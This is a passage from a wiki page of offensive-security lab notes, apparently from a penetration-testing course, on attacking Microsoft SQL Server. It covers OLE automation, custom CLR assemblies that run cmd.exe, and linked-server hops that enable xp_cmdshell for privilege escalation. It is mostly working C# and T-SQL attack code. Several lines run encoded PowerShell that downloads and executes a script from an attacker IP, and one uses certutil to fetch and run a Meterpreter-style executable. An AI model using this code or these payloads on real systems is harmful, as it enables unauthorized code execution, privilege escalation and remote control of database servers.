 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
